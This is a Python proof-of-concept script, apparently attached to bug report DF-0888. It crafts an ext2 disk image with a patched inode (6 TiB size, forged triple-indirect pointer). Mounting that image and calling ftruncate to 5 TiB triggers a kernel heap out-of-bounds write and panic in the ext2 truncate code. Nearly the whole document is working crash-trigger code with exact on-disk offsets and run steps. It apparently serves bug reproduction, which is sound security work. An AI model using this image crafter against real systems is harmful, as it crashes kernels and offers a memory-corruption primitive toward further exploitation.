DF-0888 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 | #!/usr/bin/env python3 """ DF-0888 ext2 image crafter. Builds a small ext2 (classic indirect-block) filesystem image containing a regular file whose on-disk inode is patched to: - e2di_size = 6 TiB (low 32 bits in e2di_size @ offset 4, high 32 bits in e2di_size_high @ offset 108) - e2di_blocks[14] (triple-indirect pointer, offset 40 + 14*4 = 96) = a valid data block inside the image, so ext2_indirtrunc's bread() succeeds and the underflowing bzero at ext2_inode.c:172 actually fires. - e2di_flags has NO EXT4_EXTENTS bit (so ext2_truncate -> ext2_ind_truncate). - e2di_nblock / i_blocks set plausibly so the kernel does not reject the inode. Then the guest mounts this image (root-only) and runs `ftruncate(fd, 5 TiB)` on the patched file. ext2_truncate has no structural-limit guard on length (ext2_inode.c:465 only checks length<0); for length in the triple-indirect range, ext2_ind_truncate computes lastiblock[TRIPLE] exceeding NINDR^3 and ext2_indirtrunc underflows the bzero size -> kernel heap OOB write -> panic. Run on the HOST (needs mke2fs, debugfs, python3): python3 craft_img.py out.ext2 """ import os, struct, subprocess, sys IMG = sys.argv[1] if len(sys.argv) > 1 else "df0888.ext2" SIZE_MB = 8 BS = 4096 NBLK = (SIZE_MB * 1024 * 1024) // BS def sh(cmd, **kw): return subprocess.run(cmd, shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, **kw).stdout # 1. Create base ext2 (rev1, no extents, no huge_file, no metadata_csum). # -O ^extent : ensure classic indirect blocks (ext2 default already). # -O ^huge_file,^metadata_csum,^64bit : keep it simple, 128-byte inodes. sh(f"dd if=/dev/zero of={IMG} bs=1M count={SIZE_MB} 2>/dev/null") sh(f"mke2fs -F -q -t ext2 -b {BS} -O '^metadata_csum,^huge_file,^64bit' {IMG} {NBLK}k") # 2. Create a regular file "target" containing a few bytes so it has an inode, # then locate its inode number via debugfs. sh(f"echo -n hello > /tmp/df0888_payload") sh(f"debugfs -w {IMG} -R 'write /tmp/df0888_payload target' >/dev/null 2>&1") # stat -> inode number stat = sh(f"debugfs {IMG} -R 'stat target' 2>/dev/null") ino = None for line in stat.splitlines(): if line.strip().startswith("Inode:"): # "Inode: 12 Type: regular ..." ino = int(line.split()[1]) if ino is None: # fallback: parse "Inode: 12" raise SystemExit("could not find target inode number:\n" + stat) print(f"[craft] target inode number = {ino}") print(f"[craft] debugfs stat:\n{stat}") # 3. Parse the ext2 superblock (byte offset 1024) to locate the inode table. with open(IMG, "rb") as f: f.seek(1024) sb = f.read(1024) # ext2 superblock field offsets: # 0 s_inodes_count, 4 s_blocks_count, 24 s_log_block_size, # 40 s_inodes_per_group, 76 s_rev_level, 84 s_first_ino(rev1), # 88 s_inode_size(rev1) s_inodes_count = struct.unpack_from("<I", sb, 0)[0] s_blocks_count = struct.unpack_from("<I", sb, 4)[0] s_log_block_size = struct.unpack_from("<I", sb, 24)[0] block_size = 1024 << s_log_block_size assert block_size == BS, f"unexpected block size {block_size}" s_inodes_per_group = struct.unpack_from("<I", sb, 40)[0] s_rev_level = struct.unpack_from("<I", sb, 76)[0] s_first_ino = struct.unpack_from("<I", sb, 84)[0] if s_rev_level >= 1 else 11 s_inode_size = struct.unpack_from("<H", sb, 88)[0] if s_rev_level >= 1 else 128 print(f"[craft] inodes_count={s_inodes_count} blocks_count={s_blocks_count} " f"inode_size={s_inode_size} rev_level={s_rev_level} first_ino={s_first_ino} " f"inodes_per_group={s_inodes_per_group}") # Block group descriptor table: first block after the superblock. # With 4K blocks the superblock lives inside block 0, so BGDT starts at block 1. bgdt_off = block_size # block 1 with open(IMG, "rb") as f: f.seek(bgdt_off) gd = f.read(32) bg_inode_table = struct.unpack_from("<I", gd, 8)[0] print(f"[craft] block group 0 inode table at block {bg_inode_table}") # Inode N on-disk offset: inode_off = bg_inode_table * block_size + (ino - 1) * s_inode_size print(f"[craft] target inode raw offset = {inode_off}") # 4. Patch the inode. TB = 1 << 40 i_size = 6 * TB # 0x6000000000 i_size_lo = i_size & 0xFFFFFFFF i_size_hi = (i_size >> 32) & 0xFFFFFFFF # triple-indirect pointer: point at a real data block inside the image. # Use a block near the end of the data area that definitely exists. tind_block = s_blocks_count - 2 # within image, readable print(f"[craft] patching: i_size={i_size} (0x{i_size:x}) " f"lo=0x{i_size_lo:08x} hi=0x{i_size_hi:08x}") print(f"[craft] e2di_blocks[14] (TIND) = block {tind_block}") with open(IMG, "r+b") as f: f.seek(inode_off) raw = bytearray(f.read(s_inode_size)) # e2di_mode @0 : keep existing mode (regular file from debugfs) mode = struct.unpack_from("<H", raw, 0)[0] print(f"[craft] existing mode = 0x{mode:04x} (S_ISREG={mode & 0o170000 == 0o100000})") # e2di_nblock @28 : claim a handful of blocks (doesn't need to be truthful) struct.pack_into("<I", raw, 28, 32) # e2di_flags @32 : CLEAR any extents bit (EXT4_EXTENTS=0x00080000) flags = struct.unpack_from("<I", raw, 32)[0] flags &= ~0x00080000 flags &= ~0x00040000 # also clear EXT4_HUGE_FILE struct.pack_into("<I", raw, 32, flags) # e2di_size @4 (low 32) struct.pack_into("<I", raw, 4, i_size_lo) # e2di_blocks[14] (TIND) @ (40 + 14*4) = 96 struct.pack_into("<I", raw, 96, tind_block) # e2di_size_high @108 (high 32) -- only meaningful for S_ISREG, which we are struct.pack_into("<I", raw, 108, i_size_hi) f.seek(inode_off) f.write(raw) f.flush() os.fsync(f.fileno()) print(f"[craft] wrote patched image: {IMG} ({os.path.getsize(IMG)} bytes)") print(f"[craft] DONE. Mount on guest and ftruncate the patched file to 5 TiB.") |